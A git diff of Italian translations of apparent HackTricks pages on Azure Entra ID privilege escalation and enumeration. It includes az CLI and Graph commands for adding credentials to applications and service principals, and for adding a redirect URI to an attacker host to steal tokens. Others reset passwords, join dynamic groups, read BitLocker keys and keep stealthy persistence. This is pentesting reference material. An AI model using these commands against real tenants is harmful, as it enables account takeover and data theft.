ruolo a un utente: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Aggiungi più permessi a un ruolo: +- Aggiungere più permessi a un ruolo: ```bash # List only custom roles az rest --method GET \ @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) a applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere quei privilegi. +Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Questo consente le stesse azioni di `applications/credentials/update`, ma limitate ad applicazioni a directory singola. +Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Aggiungendosi come proprietario, un attaccante può manipolare l'applicazione, comprese le credenziali e i permessi. +Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,153 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che utilizzano il nuovo URL di reindirizzamento per rubare i loro token. Si noti che se l'utente era già connesso all'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla. +Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla. -Si noti che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più autorizzazioni, ma in questo caso l'utente dovrà accettare nuovamente il prompt che chiede tutte le autorizzazioni. +Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Applications Privilege Escalation + +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**. + +Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede. + +Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Questo consente a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi. +Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> La nuova password generata non apparirà nella console web, quindi questo potrebbe essere un modo furtivo per mantenere la persistenza su un service principal.\ +> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\ > Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarla. Per farlo hai bisogno di un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire: +Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Questo consente a un attaccante di aggiungere credenziali a service principal esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi. +Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Simile alle applicazioni, questo permesso consente di aggiungere ulteriori proprietari a un service principal. Possedere un service principal consente di controllare le sue credenziali e i permessi. +Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions. ```bash # Add new owner spId="" @@ -128,13 +241,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Dopo aver aggiunto un nuovo proprietario, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare il proprietario. Quindi **non puoi rimuovere i proprietari al giorno d'oggi**. +> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**. -### `microsoft.directory/servicePrincipals/disable` e `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Queste autorizzazioni consentono di disabilitare e abilitare i service principal. Un attaccante potrebbe utilizzare questa autorizzazione per abilitare un service principal a cui potrebbe accedere in qualche modo per escalare i privilegi. +Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges. -Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori autorizzazioni per prendere il controllo del service principal abilitato. +Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Queste autorizzazioni consentono di creare e ottenere credenziali per il single sign-on che potrebbero consentire l'accesso a applicazioni di terze parti. +Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,44 +277,36 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### Applicazioni Privilege Escalation - -**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un'API Permission (come chiamata nella console di Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API senza un contesto utente (senza un accesso utente all'app), e senza necessitare di ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **applicazioni ad alta privilegio in ogni tenant di Entra ID**. - -Quindi, se un attaccante ha qualche permesso/ruolo che consente di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, guadagnando tutti i permessi che l'applicazione ha. - -Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni predefinite di Microsoft, tuttavia, qualche tempo dopo questo rapporto Microsoft ha risolto questo problema e ora non è più possibile accedere come applicazioni Microsoft. Tuttavia, è ancora possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**. - --- ## Gruppi ### `microsoft.directory/groups/allProperties/update` -Questo permesso consente di aggiungere utenti a gruppi privilegiati, portando a un'escalation di privilegi. +Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi. ```bash az ad group member add --group --member-id ``` -**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID. +**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups. ### `microsoft.directory/groups/owners/update` -Questo permesso consente di diventare un proprietario di gruppi. Un proprietario di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente aumentando i privilegi nel gruppo. +Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID. +**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups. ### `microsoft.directory/groups/members/update` -Questo permesso consente di aggiungere membri a un gruppo. Un attaccante potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, concedendo accesso elevato. +Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Questo permesso consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attaccante potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita. +Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita. ```bash groupId="" az rest --method PATCH \ @@ -214,9 +319,9 @@ az rest --method PATCH \ ``` **Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID. -### Privesc dei Gruppi Dinamici +### Dynamic Groups Privesc -Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di gruppi dinamici. Per ulteriori informazioni controlla: +Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta: {{#ref}} dynamic-groups.md @@ -226,13 +331,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Questo permesso consente di reimpostare la password per utenti non amministratori, permettendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questo permesso non può essere assegnato a ruoli personalizzati. +Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà, pertanto, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un gruppo dinamico specifico e ottenere privilegi elevati. +Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +353,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Politiche di Accesso Condizionale e bypass MFA +## Policy di Accesso Condizionale & bypass MFA -Le politiche di accesso condizionale mal configurate che richiedono MFA possono essere eluse, controlla: +Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Questa autorizzazione consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo. +Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo. ```bash deviceId="" userId="" @@ -271,7 +376,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Questo permesso consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o per eludere le politiche di sicurezza. +Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza. ```bash deviceId="" userId="" @@ -282,7 +387,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Questa autorizzazione consente agli attaccanti di leggere le proprietà delle credenziali dell'account amministratore locale di backup per i dispositivi uniti a Microsoft Entra, inclusa la password. +Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +402,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Questo permesso consente di accedere alle chiavi di BitLocker, il che potrebbe consentire a un attaccante di decrittografare i dischi, compromettendo la riservatezza dei dati. +Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati. ```bash # List recovery keys az rest --method GET \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index bc67e47cb..7f89fdb0c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informazioni di base +## Basic Information -Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per identity and access management. È fondamentale per permettere agli utenti di effettuare sign in e ottenere accesso a risorse sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, the Azure portal e molte altre applicazioni SaaS. La progettazione di Azure AD si concentra nel fornire servizi di identità essenziali, includendo in particolare **authentication, authorization, and user management**. +Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti. -Le funzionalità chiave di Azure AD comprendono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri Microsoft security services. Queste funzionalità aumentano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare e far rispettare efficacemente le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata su cloud delle identità utente. +Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti. -## Enumerazione +## Enumeration -### **Connessione** +### **Connection** {{#tabs }} {{#tab name="az cli" }} @@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Quando ti **login** tramite **CLI** su Azure con qualsiasi programma, stai usando una **Azure Application** di un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **liste di applicazioni consentite** visibili nella console, **ma sono consentite di default**. +Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**. -Ad esempio, uno **powershell script** che **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere usando strumenti che si connettono tramite quell'App. +Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App. Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**: ```bash @@ -227,7 +227,7 @@ az account tenant list ### Utenti -Per ulteriori informazioni sugli utenti Entra ID consulta: +Per maggiori informazioni sugli utenti Entra ID consulta: {{#ref}} ../az-basic-information/ @@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Cambiare la password dell'utente +#### Cambia la password dell'utente ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force @@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -È fortemente raccomandato abilitare MFA per ogni utente; tuttavia alcune aziende non lo impostano o lo configurano tramite Conditional Access: all'utente verrà **richiesto MFA se** effettua l'accesso da una posizione, browser o altra condizione specifica. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla: +È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Gruppi -Per maggiori informazioni sui gruppi di Entra ID consulta: +Per maggiori informazioni sui gruppi Entra ID consulta: {{#ref}} ../az-basic-information/ @@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Aggiungi utente al gruppo -I proprietari del gruppo possono aggiungere nuovi utenti al gruppo +I proprietari del gruppo possono aggiungere nuovi utenti al gruppo. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, questo può permettere di abusare di questa funzionalità per **entrare in altri gruppi**.\ -> Controlla come abusare dei gruppi dinamici nella seguente pagina: +> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\ +> Consulta come abusare dei gruppi dinamici nella pagina seguente: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Per maggiori informazioni sui service principals di Entra ID consulta: +Per maggiori informazioni sui Service Principals di Entra ID consulta: {{#ref}} ../az-basic-information/ @@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Elenca e prova ad aggiungere un client secret su ogni Enterprise App +Elenca e prova ad aggiungere un client secret per ogni Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -717,8 +717,8 @@ Per maggiori informazioni sulle Applicazioni consulta: Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni: -- **Permissions** assegnate al **Service Principal** -- **Permissions** che la **app** può avere e utilizzare per conto dell'**utente**. +- **Autorizzazioni** assegnate al **Service Principal** +- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**. {{#tabs }} {{#tab name="az cli" }} @@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** concedendosi il ruolo.\ -> Per maggiori informazioni [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\ +> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Una stringa segreta che l'applicazione usa per dimostrare la propria identità quando richiede un token è l'application password.\ -> Quindi, se trovi questa **password** puoi accedere come **service principal** all'interno del **tenant**.\ +> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\ +> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\ > Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\ -> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\ -> Gli accessi come questi **service principal** non sono **segnalati come rischiosi** e non avranno **MFA**. +> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\ +> I login come questi service principals sono **not marked as risky** e **won't have MFA.** -È possibile trovare una lista di App IDs comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Per maggiori informazioni su Managed Identities consulta: +For more information about Managed Identities 